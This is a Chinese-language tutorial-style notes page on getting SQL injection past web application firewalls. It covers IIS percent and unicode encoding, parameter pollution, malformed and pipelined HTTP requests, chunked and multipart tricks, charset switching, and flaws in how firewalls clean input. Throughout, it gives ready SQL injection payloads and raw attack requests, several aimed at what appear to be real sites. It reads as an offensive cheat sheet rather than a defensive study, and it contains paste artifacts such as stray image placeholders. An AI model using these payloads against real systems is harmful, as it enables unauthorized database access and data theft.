bypass waf相关

基本上bypass waf存在以下4种特性的绕过,如果你能熟悉每种产品的特性,那么就无敌了、

  1. Web容器的特性
  2. Web应用层的问题
  3. WAF自身的问题(本次LIVE重点)
  4. 数据库的一些特性

2、绕过的时候,可以使用post传get包

  1. POST /aboutus.php?classid=35/**/and/**/1=2 HTTP/1.1
  2. Host: pjhqy.com
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
  5. Accept-Encoding: gzip, deflate
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 2
  8. 下面记得有两个回车,这样才是一个正常的Post

3、函数分割之间可以加注释或者换行

concat//()
information_schema/
/./**/TABLES
information_schema%0a.%0aTABLES
image.png
[

](https://blog.csdn.net/qq_23936389/article/details/81256020)

WEB容器-中间件的特性绕过

1、iis+asp的特性可以进行组合绕过

在关键词中间添加%
例如s%elect

  1. WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为%的分隔,
  2. 无法检测出关键字 select from
  3. 但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf

这个特性仅在iis+asp上 asp.net/aspx环境并不存在。
旧版本yxlink可绕

2、unicode编码 IIS中间件可识别

利用unicode编码,先转成\形式,然后再进行替换,这样浏览器找的时候,先会进行一层Url解码,最后拼接到数据库的时候,就还原成原来的了
<\u003E
1 union all %u0053elect 1,2,3,4 %u0066rom admin 是可以成功被解析的
http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html
s%u0065lect->select
s%u00f0lect->select

也正因为这个特性在iis里,因此在使用aspx的时候可以尝试使用该方法bypass,例如yxlink

  1. 这里对waf解码unicode的过程进行猜测
  2. 寻找百分号 -> 判断百分号及其所带字符是否符合unicode编码格式(%u000a -> 符合则直接进行编码
  3. 很明显这里waf忽略了检测符合编码的字符是否能成功解码的过程
  4. 那么传入的payload: union--%u+回车+select waf的此流程下则被编码为:
  5. union --被waf错认为可解码的unicode编码ect 很显然waf 【%u+回车+sel】这个"符合"unicode编码规则的字符串进行了错误解码
  6. 导致最终输出的payloadwaf看来显然没有危险,从而造成了bypass

3、http参数污染

image.png
image.png
show_user.aspx?id=5 union select+1,2,3+from+users+where+id=1—
select…from…而会被WAF成功拦截。但是如果换成HPP的方式:
show_user.aspx?id=5 union select+1&id=2&id=3+from+users+where+id=1—

4、HTTP非RPC2616标准畸形的解析

这种畸形的情况较为少见,基本遇不到,这里仅做个demo
当向服务器发送畸形包时

  1. POST /cms/cms/auth/login
  2. Host: api-gpsc.xx.com.cn
  3. Content-Length: 46
  4. Authorization: Bearer
  5. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
  6. Content-Type: application/json
  7. Accept-Encoding: gzip, deflate
  8. Connection: close
  9. {"username":"13333333333","password":"111111"}
  1. PXXX /cms/cms/auth/login
  2. Content-Length: 46
  3. Authorization: Bearer
  4. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
  5. Content-Type: application/json
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. {"username":"13333333333","password":"111111"}

畸形字段删除了Hots,也没有HTTP/1.1,也没有正确的METHOD,此时大部分会返回400,但是在某些版本Apache处理请求时,默认将协议返回HTTP/0.9,HOST默认使用Apache的Servername
image.png

5、修改http协议为0.9

在大部分网站都使用协议为1.1 或1.0 或2.0或0.+此时我们更改协议为高版本或低版本,因为waf可能不支持具体的协议,而后台的中间件支持。
image.png

6.1、分块+协议未覆盖绕过

先这样选择mutipart,在chunk
image.png
这种格式还可以进行二次修改,如删除掉form-data,或者改成form+data等,这里可以参考文件上传的Tips。
在HTTP协议里,它其实就不算一个完整的请求了,但是后端不严格按照RFC协议来解析,因此产生了歧义进行绕过

6.1 mutipart 的修改

如修改name
Connection: close
Content-Type: multipart/form-data; boundary=————1721837650
Content-Length: 156

—————1721837650
Content-Disposition: form-data; name=”name\”; filename=”;name=’admin’”
Content-Type: image/jpeg

xxxxx
—————1721837650—
这样获取的值最终为admin=xxxxxx

7、畸形包绕过pipeline 一次性发两个包

http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求
get请求中空格使用%20代替,Connection改为keep-alive,这是发送多个包的必要步骤
点击burp中Repeater,在下拉选项中取消update Content-Length选中。

  1. POST /sqlinject.php Http/1.0
  2. Host:127001
  3. User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
  4. Firefox/65.0
  5. Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
  6. Accept-Language: en-US,en:q=0.5
  7. Referer:http://127.0.0.1/sqlinjectphp?id=1
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 4
  10. Connection:keep-alive
  11. Upgrade-Insecure-Requests: 1
  12. id=1post/sqlinjeCt.php Http/1.0
  13. Host:127.00.1
  14. User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
  15. Firefox/65.0
  16. Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
  17. Accept-Language: en-US, en, q=0.5
  18. Referer:http://127.0.0.1/sqlinjectphp?id=1
  19. Content-Type: application/x-www-form-urlencoded
  20. Content-Length: 12
  21. Connection: close
  22. pgrade-Insecure-Requests: 1
  23. d=l and 1=1

8、修改编码方式:Charset绕过

原理:大部分的WAF默认用UTF8编码检测,修改编码方式可能会绕过waf,例如设置charset为ibm037。
字段为:Accept-Charset: utf-8

9、content-type做文章

Content-Type: application/x-www-form-urlencoded xxxxxxxxx添加任意字符串

Web服务器解析问题导致绕过

1、多重编码

如果Web应用程序能够接收多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会 因为解码不完全导致防御机制被绕过。

  1. http://test.com/1.asp?id=123%2520and%25201=1
  2. %25 ======= % id=123%20and%201=1
  3. %20 ======= 空格 id=123 and 1=1

但是大部分的Web服务是不支持这样解析的
image.png

2、将GET-POST换成COOKIE

在asp和ASP.NET里获取参数的代码如下

  1. id=request("id")
  2. id.request.params("id")

请求默认解析 GET>POST>COOKIE
这样对于某些WAF来说,如果仅检查了GET或POST的,那么来自Cookie的注入攻击就无能为力了,

WAF自身问题导致绕过

1、缓冲区溢出绕过

select * from ins_user where user_id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)union select 1,2,database(),4—

2、垃圾数据等

总结就是:无需多言,post大量垃圾数据

3、数据清洗不完善
当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。
如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为

举例:

  1. http://localhost/test/Article.php?id=9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
  2. 某些WAF会将语句
  3. 9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
  4. 清洗为:
  5. 9999-"" from mysql.user 然后去检测是否有攻击特征,
  6. 如果没有,执行原始语句:
  7. 9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user

image.png

分块chunk

image.png

特性绕过

其他

1、在nginx&apache环境下,可能会省略index.php文件,因此可以尝试
访问xxxxx.cn/test/index.php?text=
可以换成访问xxxxx.cn/test/?text=

2、json格式下的waf bypass
https://xz.aliyun.com/t/306
%20 %2B \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B 在JSON包里可以代替空格
在json中 \/\/ ====》 //
在json格式中 直接单引号会引发解析错误,因此需要使用unicode编码(UTF-16)来进行单引号\u0027

4、利用make_set代替select
select from ins_user where user_id=-11/!50000//!14400-updatexMl/(1,/!12345maKe_set*/(3,0x7e,(database())),1)

5、盲注函数被过滤
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))

一些常规的方式
用char来绕过一些
admin’ AND 6040 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6040=6040) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(112)+CHAR(113)))—
image.png

一些特殊字符 %C2%85 или %C2%A0:

  1. https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

科学(0E)和十六进制(0x)表示法:

  1. https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
  2. https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

在From和列名之间使用句号代替空格:

  1. https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N分隔符:

  1. https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
  1. 原文:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

asp/asp.net:
asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。

https://sqlmap.campfire.ga/

16、等
https://xz.aliyun.com/t/8513#toc-6
https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html
https://xz.aliyun.com/t/9268?page=1
https://blog.csdn.net/qq_23936389/article/details/81256020